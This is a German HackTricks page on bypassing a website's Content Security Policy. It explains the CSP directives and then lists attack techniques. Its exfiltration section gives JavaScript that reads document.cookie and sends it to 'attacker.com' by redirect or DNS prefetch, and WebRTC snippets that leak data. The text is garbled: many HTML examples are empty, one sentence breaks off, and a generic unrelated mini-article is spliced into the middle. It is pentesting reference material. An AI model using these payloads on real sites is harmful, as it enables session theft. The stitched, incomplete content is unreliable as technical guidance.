# Content Security Policy (CSP) Umgehung
Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: * Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren! **Hacking-Einblicke**\ Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen **Echtzeit-Hack-News**\ Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden **Neueste Ankündigungen**\ Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert **Treten Sie uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern! ## Was ist CSP Content Security Policy (CSP) wird als Browser-Technologie anerkannt, die hauptsächlich darauf abzielt, **vor Angriffen wie Cross-Site-Scripting (XSS) zu schützen**. Sie funktioniert, indem sie Pfade und Quellen definiert und detailliert angibt, von denen Ressourcen sicher vom Browser geladen werden können. Diese Ressourcen umfassen eine Vielzahl von Elementen wie Bilder, Frames und JavaScript. Beispielsweise könnte eine Richtlinie das Laden und Ausführen von Ressourcen von der gleichen Domäne (self) erlauben, einschließlich Inline-Ressourcen und die Ausführung von String-Code durch Funktionen wie `eval`, `setTimeout` oder `setInterval`. Die Implementierung von CSP erfolgt über **Antwortheader** oder durch das Einbinden von **Meta-Elementen in die HTML-Seite**. Nach dieser Richtlinie setzen Browser diese Bestimmungen proaktiv durch und blockieren sofort alle festgestellten Verstöße. * Implementiert über Antwortheader: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` * Implementiert über Meta-Tag: ```xml ``` ### Überschriften CSP kann mithilfe dieser Header durchgesetzt oder überwacht werden: * `Content-Security-Policy`: Setzt die CSP durch; der Browser blockiert Verstöße. * `Content-Security-Policy-Report-Only`: Wird zur Überwachung verwendet; meldet Verstöße, ohne sie zu blockieren. Ideal für Tests in Vorproduktionsumgebungen. ### Definieren von Ressourcen CSP beschränkt die Ursprünge für das Laden von aktiven und passiven Inhalten und steuert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von `eval()`. Ein Beispiel für eine Richtlinie ist: ```bash default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'; report-uri /cspreport font-src 'self' https://addons.cdn.mozilla.net; frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` ### Direktiven * **script-src**: Erlaubt spezifische Quellen für JavaScript, einschließlich URLs, Inline-Skripte und Skripte, die durch Ereignisbehandler oder XSLT-Stylesheets ausgelöst werden. * **default-src**: Legt eine Standardrichtlinie für das Abrufen von Ressourcen fest, wenn spezifische Abrufanweisungen fehlen. * **child-src**: Legt erlaubte Ressourcen für Web Worker und eingebettete Frame-Inhalte fest. * **connect-src**: Beschränkt URLs, die über Schnittstellen wie fetch, WebSocket, XMLHttpRequest geladen werden können. * **frame-src**: Beschränkt URLs für Frames. * **frame-ancestors**: Legt fest, welche Quellen die aktuelle Seite einbetten können, gilt für Elemente wie ``, ` // The bot will load an URL with the payload ``` ### Über Bookmarklets Dieser Angriff würde einige soziale Manipulationen implizieren, bei denen der Angreifer den Benutzer überzeugt, einen Link über das Bookmarklet des Browsers zu ziehen und abzulegen. Dieses Bookmarklet würde bösartigen JavaScript-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, wodurch die CSP umgangen wird und das Stehlen sensibler Informationen wie Cookies oder Tokens ermöglicht wird. Für weitere Informationen [**überprüfen Sie den Originalbericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). ### CSP-Umgehung durch Beschränkung der CSP In [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) wird die CSP umgangen, indem in einem erlaubten iframe eine restriktivere CSP eingefügt wird, die das Laden einer bestimmten JS-Datei verhindert, die dann über **Prototyp-Verschmutzung** oder **DOM-Überlagerung** erlaubt, ein anderes Skript zu missbrauchen, um ein beliebiges Skript zu laden. Sie können die **CSP eines Iframes** mit dem **`csp`**-Attribut **beschränken**: {% code overflow="wrap" %} ```html ``` {% endcode %} In [**diesem CTF-Writeup**](https://github.com/aszx87410/ctf-writeups/issues/48) war es durch **HTML-Injection** möglich, eine **CSP** weiter zu **beschränken**, sodass ein Skript, das CSTI verhinderte, deaktiviert wurde und somit die **Schwachstelle ausnutzbar wurde.**\ CSP kann durch Verwendung von **HTML-Meta-Tags** restriktiver gestaltet werden und Inline-Skripte können deaktiviert werden, **indem** der **Eintrag** entfernt wird, der ihre **Nonce** zulässt, und **spezifische Inline-Skripte über sha aktiviert werden**: ```html ``` ### JS Exfiltration mit Content-Security-Policy-Report-Only Wenn es dir gelingt, den Server mit dem Header **`Content-Security-Policy-Report-Only`** und einem **von dir kontrollierten Wert** antworten zu lassen (vielleicht aufgrund eines CRLF), könntest du ihn dazu bringen, auf deinen Server zu verweisen. Wenn du den **JS-Inhalt**, den du exfiltrieren möchtest, mit **`` einzubetten. Beachten Sie, dass dieses **Skript** geladen wird, weil es von 'self' **erlaubt ist**. Darüber hinaus und weil WordPress installiert ist, könnte ein Angreifer den **SOME-Angriff** über den **verwundbaren** **Callback**-Endpunkt missbrauchen, der die CSP **umgeht**, um einem Benutzer mehr Rechte zu geben, ein neues Plugin zu installieren...\ Weitere Informationen dazu, wie dieser Angriff durchgeführt wird, finden Sie unter [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP-Exfiltration-Bypasses Wenn eine strenge CSP vorhanden ist, die es Ihnen nicht erlaubt, **mit externen Servern zu interagieren**, gibt es einige Dinge, die Sie immer tun können, um die Informationen zu exfiltrieren. ### Location Sie könnten einfach den Standort aktualisieren, um dem Server des Angreifers die geheimen Informationen zu senden: ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; ``` ### Meta-Tag Sie könnten eine Weiterleitung durch das Einfügen eines Meta-Tags erreichen (dies ist lediglich eine Weiterleitung, es wird kein Inhalt preisgegeben) ```html ``` ### DNS Prefetch Um Seiten schneller zu laden, werden Browser Hostnamen in IP-Adressen aufgelöst und zwischengespeichert.\ Sie können einem Browser anzeigen, einen Hostnamen vorab aufzulösen mit: `` Sie könnten dieses Verhalten missbrauchen, um **sensible Informationen über DNS-Anfragen zu exfiltrieren**: ```javascript var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` ### Umgehung von Content Security Policy (CSP) #### Einführung In einigen Fällen kann es erforderlich sein, die Content Security Policy (CSP) einer Webseite zu umgehen, um bestimmte Aktionen auszuführen, die durch die CSP blockiert werden. Dieser Artikel beschreibt verschiedene Techniken zur Umgehung von CSP-Maßnahmen. #### Bypass durch Inline JavaScript Eine Möglichkeit, die CSP zu umgehen, besteht darin, Inline-JavaScript-Code zu verwenden. Dies kann durch das Ausnutzen von XSS-Schwachstellen oder anderen Techniken erreicht werden. #### Bypass durch Inline Styles Ähnlich wie bei Inline-JavaScript können auch Inline-Styles verwendet werden, um die CSP zu umgehen. Durch das direkte Einbetten von CSS-Stilen in HTML-Elemente können bestimmte Einschränkungen umgangen werden. #### Bypass durch Data-URI Die Verwendung von Data-URIs ist eine weitere Möglichkeit, die CSP zu umgehen. Durch das Einbetten von Ressourcen direkt in den HTML-Code können bestimmte CSP-Richtlinien umgangen werden. #### Weitere Umgehungstechniken Es gibt auch andere fortgeschrittenere Techniken zur Umgehung von CSP, wie z.B. die Verwendung von JSONP, Host-Whitelisting-Bypass und die Ausnutzung von Browser-Schwachstellen. #### Fazit Die Umgehung von CSP-Maßnahmen erfordert ein tiefes Verständnis der Funktionsweise von CSP und der verschiedenen Techniken zur Umgehung. Es ist wichtig, diese Techniken zu kennen, um Sicherheitslücken in Webanwendungen zu identifizieren und zu beheben. ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl); ``` Um dies zu vermeiden, kann der Server den HTTP-Header senden: ``` X-DNS-Prefetch-Control: off ``` {% hint style="info" %} Anscheinend funktioniert diese Technik nicht in headless Browsern (Bots). {% endhint %} ### WebRTC Auf mehreren Seiten kann man lesen, dass **WebRTC die `connect-src`-Richtlinie des CSP nicht überprüft**. Tatsächlich können Informationen mithilfe einer _DNS-Anfrage_ _geleakt_ werden. Schau dir diesen Code an: ```javascript (async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})() ``` Eine weitere Option: ```javascript var pc = new RTCPeerConnection({ "iceServers":[ {"urls":[ "turn:74.125.140.127:19305?transport=udp" ],"username":"_all_your_data_belongs_to_us", "credential":"." }] }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ## Überprüfung von CSP-Richtlinien online * [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) * [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## Automatisches Erstellen von CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) ## Referenzen * [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) * [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) * [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) * [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) * [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) * [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) * [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) ​
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren! **Hacking Insights**\ Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen **Echtzeit-Hack-News**\ Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden **Neueste Ankündigungen**\ Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert **Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: * Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks in PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.